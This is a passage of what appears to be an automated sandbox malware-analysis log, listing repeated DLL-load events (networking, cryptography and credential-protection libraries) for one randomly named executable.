Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: winscard.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: devobj.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: sensapi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: dbghelp.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: netapi32.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: samcli.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: netutils.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: wininet.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: iertutil.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: winhttp.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: mswsock.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: winnsi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: rasadhlp.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: fwpuclnt.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: urlmon.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: srvcli.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: winscard.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: devobj.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: sensapi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: dbghelp.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: netapi32.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: samcli.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: netutils.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: wininet.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: iertutil.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: winhttp.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: mswsock.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: winnsi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: fwpuclnt.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: rasadhlp.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: urlmon.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: srvcli.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: winscard.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: devobj.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: sensapi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: dbghelp.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: netapi32.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: samcli.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: netutils.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: wininet.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: iertutil.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: winhttp.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: mswsock.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: winnsi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: fwpuclnt.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: rasadhlp.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: winscard.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: devobj.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: sensapi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: dbghelp.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: netapi32.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: samcli.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: netutils.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: wininet.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: iertutil.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: winhttp.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: mswsock.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: fwpuclnt.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: winnsi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: rasadhlp.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: urlmon.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: srvcli.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: winscard.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: devobj.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: sensapi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: dbghelp.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: netapi32.dll
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Section loaded: samcli.dll
